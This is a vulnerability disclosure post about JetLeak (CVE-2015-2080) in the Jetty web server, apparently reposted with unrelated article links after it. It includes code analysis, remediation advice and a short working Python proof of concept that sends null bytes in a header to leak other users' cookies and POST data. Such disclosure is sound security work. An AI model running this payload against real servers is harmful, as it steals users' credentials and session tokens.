JetLeak Vulnerability: Remote Leakage Of Shared Buffers In Jetty Web Server [CVE-2015-2080]

简介: http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.

http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html

OVERVIEW

GDS discovered a critical information leakage vulnerability in the Jetty web server that allows an unauthenticated remote attacker to read arbitrary data from previous requests submitted to the server by other users. I know that sentence is a mouthful, so take a brief moment to digest it, or simply keep reading to understand what that means. Simply put, if you’re running a vulnerable version of the Jetty web server, this can lead to the compromise of sensitive data, including data passed within headers (e.g. cookies, authentication tokens, Anti-CSRF tokens, etc.), as well as data passed in the POST body (e.g. usernames, passwords, authentication tokens, CSRF tokens, PII, etc.). (GDS also observed this data leakage vulnerability with responses as well, but for brevity this blog post will concentrate on requests)

The root cause of this vulnerability can be traced to exception handling code that returns approximately 16 bytes of data from a shared buffer when illegal characters are submitted in header values to the server. An attacker can exploit this behavior by submitting carefully crafted requests containing variable length strings of illegal characters to trigger the exception and offset into the shared buffer. Since the shared buffer contains user submitted data from previous requests, the Jetty server will return specific data chunks (approximately 16-bytes in length) from the user’s request depending on the attacker’s payload offset.

AM I VULNERABLE?

This vulnerability affects versions 9.2.3 to 9.2.8. GDS also found that beta releases and later (including the beta releases of 9.3.x) are vulnerable.

We have created a simple python script that can be used to determine if a Jetty HTTP server is vulnerable. The script code can be downloaded from the GDS Github repository below:

https://github.com/GDSSecurity/Jetleak-Testing-Script 

WALKTHROUGH OF VULNERABLE CODE

When the Jetty web server receives a HTTP request, the below code is used to parse through the HTTP headers and their associated values. This walkthrough will focus primarily on the parsing of the header values. The server begins by looping through each character for a given header value and checks the following:

  • On Line 1164, the server checks if the character is printable ASCII or not a valid ASCII character
  • On Line 1172, the server checks if the character is a space or tab
  • On Line 1175, the server checks if the character is a line feed

If the character is non-printable ASCII (or less than 0x20), then all of the checks above are skipped over and the code throws an ‘IllegalCharacter’ exception on line 1186, passing in the illegal character and a shared buffer.

File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java

 
 
920: protected boolean parseHeaders(ByteBuffer buffer)921: {[..snip..]1163:     case HEADER_VALUE:1164:         if (ch>HttpTokens.SPACE || ch<0)1165:         {1166:             _string.append((char)(0xff&ch));1167:             _length=_string.length();1168:             setState(State.HEADER_IN_VALUE);1169:             break;1170:         }1171:1172:         if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)1173:            break;1174:1175:         if (ch==HttpTokens.LINE_FEED)1176:         {1177:             if (_length > 0)1178:             {1179:                 _value=null;1180:                 _valueString=(_valueString==null)?                             takeString():(_valueString+” “+                             takeString());1181:             }1182:             setState(State.HEADER);1183:             break;1184:         }1185:1186:         throw new IllegalCharacter(ch,buffer);

In the definition of the ‘IllegalCharacter’ method, the server returns an error message. The error message is a format string composed of the illegal character, a static string that represents whether the exception occurred in the header name or header value, and finally a String that outputs some content of the shared buffer via a call to ‘BufferUtil.toDebugString’.

File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java

 
 
1714: private class IllegalCharacter extends BadMessage1715: {1716:     IllegalCharacter(byte ch,ByteBuffer buffer)1717:     {1718:         super(String.format(“Illegal character 0x%x                       in state=%s in '%s’”,ch,_state,                      BufferUtil.toDebugString(buffer)));1719:     }1720: }

In the ‘toDebugString’ method, there is a call to ‘appendDebugString’, which accepts a StringBuilder object as its first parameter and the shared buffer object as the second parameter. The StringBuilder object will be populated by the ‘appendDebugString’ method and ultimately returned to the user.

File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java

 
 
 963: public static String toDebugString(ByteBuffer buffer) 964: { 965:     if (buffer == null) 966:         return “null”; 967:     StringBuilder buf = new StringBuilder(); 968:     appendDebugString(buf,buffer); 969:     return buf.toString(); 970: }

Since the shared buffer contains data from previous requests, in order for the attacker to retrieve specific data in the shared buffer, their goal is to create a long enough string of illegal characters to overwrite non-important data in the previous request up until the data the attacker wants (e.g. Cookies, authentication tokens, etc.). When the code on line 996 executes, the server reads 16 bytes from the shared buffer before appending “…”. Since the attacker already off-setted into the previous request via an appropriate length string of illegal characters, these 16 bytes should contain sensitive user data from a previous user’s request.

File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java

 
 
972:  private static void appendDebugString(StringBuilder buf,ByteBuffer buffer)973: {[..snip..]983:     buf.append(<<<);984:     for (int i = buffer.position(); i < buffer.limit(); i++)985:     {986:         appendContentChar(buf,buffer.get(i));987:         if (i == buffer.position() + 16 &&                      buffer.limit() > buffer.position() + 32)988:         {989:             buf.append(“…”);990:             i = buffer.limit() - 16;991:         }992:     }993:     buf.append(>>>);994:     int limit = buffer.limit();995:     buffer.limit(buffer.capacity());996:     for (int i = limit; i < buffer.capacity(); i++)997:     {998:         appendContentChar(buf,buffer.get(i));999:         if (i == limit + 16 &&                     buffer.capacity() > limit + 32)1000:        {1001:             buf.append(“…”);1002:             i = buffer.capacity() - 16;1003:         }1004:     }1005:     buffer.limit(limit);1006: }
Additional places where IllegalCharacter is called in 9.2.x codebase (line numbers may differ):
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:401
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:530
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:547
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1161
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1215

The section below provides a walkthrough of how a malicious user could exploit this vulnerability to read sensitive data from another user’s HTTP requests (e.g. cookies, authentication headers, credentials or sensitive data submitted within URLs or POST data).

EXPLOIT WALKTHROUGH

Step 1:

The HTTP request below represents a sample request sent by a victim to the Jetty web server (version 9.2.7.v20150116). Notice the ‘Cookie’ and POST body parameters sent to the server since these will be the values that will be targeted within our proof of concept.

Reproduction Request (VICTIM):

 
 
POST /test-spec/test HTTP/1.1Host: 192.168.56.101:8080User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101Cookie: password=secretAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.56.101:8080/test-spec/Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 13param1=test

Reproduction Response (VICTIM):

 
 
HTTP/1.1 200 OKSet-Cookie: visited=yesExpires: Thu, 01 Jan 1970 00:00:00 GMTContent-Type: text/htmlServer: Jetty(9.2.7.v20150116)Content-Length: 3460

Step 2:

As the attacker, craft a request to the same endpoint, but remove the contents of the ‘Referer’ header and replace it with a string of illegal characters. In this particular case, the string contains 44 null bytes. One could conceivably use any non-ASCII character less than 0x20 (other than line-feed since the code handles it specially).

Note, the process of figuring out the correct length of characters for the illegal character string is an iterative process. The suggestion is to start with a small string and work towards a larger size string. If the attacker starts with too large of a string they risk overwriting sensitive data from the previous request. Ideally, the attacker wants to overwrite data in the previous request up until the beginning of the sensitive data. The code will then read 16 bytes of sensitive data and return it to the attacker.

 
 
import httplib, urllibconn = httplib.HTTPConnection("127.0.0.1:8080")headers = {"Referer": chr(0)*44}conn.request("POST", "/test-spec/test", "", headers)r1 = conn.getresponse()print r1.status, r1.reason

Step 3:

Once the script is run and the malicious payload is sent to the server, the attacker should receive a response similar to the one below. Notice that the cookie value is contained within the response. Since it is conceivable that the attacker may want to obtain a value greater than 16 bytes in length, the script above can be run multiple times to get additional 16 byte chunks from the buffer.


Step 4:

To read the POST body parameters, the attacker can modify the length of the illegal character string to offset further into the shared buffer as shown below.

 

REMEDIATION

Currently, if you are running one of the vulnerable Jetty web server versions, Jetty recommends that you upgrade to version 9.2.9.v20150224 immediately. 

Organizations should also be aware that Jetty may be bundled within third party products. We recommend referring to the Jetty Powered website for a list of products (not exhaustive) that utilize Jetty. Due to Jetty being a fairly lightweight HTTP server, it is also commonly used by a variety of embedded systems. Organizations should contact any vendors that may be running a Jetty web server in order to determine if their products are vulnerable and when any patches to resolve this vulnerability will be made available. Additionally, we have encountered cases where development teams use Jetty as a lightweight replacement for app servers such as Tomcat. Organizations should consider notifying their development teams about the vulnerability and require teams to upgrade any vulnerable versions of Jetty.

The latest release of the Jetty HTTP server is available for download at the following locations:

  • Maven - http://central.maven.org/
  • Jetty Downloads Page - http://download.eclipse.org/jetty

UPDATE: Jetty is currently working on releasing patched versions of the affected JARs for releases 9.2.3 to 9.2.8 and will make that available through their website to the general public

DISCLOSURE TIMELINE

  • Feb 19, 2015 - Vulnerability report sent to security@eclipse.org using SendSafely
  • Feb 23, 2015 - Jetty team downloads the vulnerability report
  • Feb 24, 2015 - Jetty team releases HTTP Server v9.2.9.v20150224 with bug fix and publicly announces a critical vulnerability advisory with exploit code
  • Feb 25, 2015 - GDS publicly discloses vulnerability

GDS commends the Jetty development team on their timely response and swift remediation. It should be noted that the decision to publicly disclose the vulnerability was made by the Jetty development team, independent of GDS. GDS’ blog post was published after it was discovered that Jetty had publicly disclosed the vulnerability.

目录
相关文章
|
9月前
|
Java Maven Android开发
Eclipse内置jetty运行web项目的配置
Eclipse内置jetty运行web项目的配置
|
中间件 Java 应用服务中间件
Web中间件——Tomcat与Jetty的对比
日常我们在开发Web程序时常常会使用到Web中间件,其比较常用的中间件中就包含了Tomcat和Jetty,本篇文章,我们对其进行简单的描述一下,看其都可以实现什么。
318 1
Web中间件——Tomcat与Jetty的对比
|
Web App开发 安全 测试技术
Acunetix Web Vulnerability Scanner手册
目录: 0×00、什么是Acunetix Web Vulnarability Scanner ( What is AWVS?) 0×01、AWVS安装过程、主要文件介绍、界面简介、主要操作区域简介(Install AWVS and GUI Descri...
3019 0
|
Web App开发 Java 应用服务中间件
idea/eclipse下Maven工程集成web服务(tomcat、jetty)
idea/eclipse下Maven工程集成web服务 转载请注明出处:http://www.cnblogs.com/funnyzpc/p/8093554.html     应用服务器最常用的一般有这哥仨:tomcat、jetty、webLogic ,前两者开源属轻量级应用服务器,适用于一般项目开...
1887 0
|
Web App开发 应用服务中间件 Apache
Web服务(Apache、Nginx、Tomcat、Jetty)与应用(LAMP、CMS-WordPress&Ghost、Jenkins、Gitlab)
Web服务和应用是目前信息技术领域的热门技术。如何使用Docker来运行常见的Web服务器(包括Apache、Nginx、Tomcat等),以及一些常用应用(LAMP、CMS等)。包括具体的镜像构建方法与使用步骤。
2240 0
|
Web App开发 Java 应用服务中间件
详解web容器 - Jetty与Tomcat孰强孰弱
Jetty 基本架构 Jetty目前的是一个比较被看好的 Servlet 引擎,它的架构比较简单,也是一个可扩展性和非常灵活的应用服务器。它有一个基本数据模型,这个数据模型就是 Handler(处理器),所有可以被扩展的组件都可以作为一个 Handler,添加到 Server 中,Jetty 就是帮你管理这些 Handler。
1529 0
|
Web App开发 JavaScript 前端开发
使用 HTML5, javascript, webrtc, websockets, Jetty 和 OpenCV 实现基于 Web 的人脸识别
这是一篇国外的文章,介绍如何通过 WebRTC、OpenCV 和 WebSocket 技术实现在 Web 浏览器上的人脸识别,架构在 Jetty 之上。 实现的效果包括: 还能识别眼睛 人脸识别的核心代码: 页面: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15...
1732 0
|
安全 Java Maven
List Of Vulnerability Web Application
If you want the detail how to learn about web application security, please go to the Source.
777 0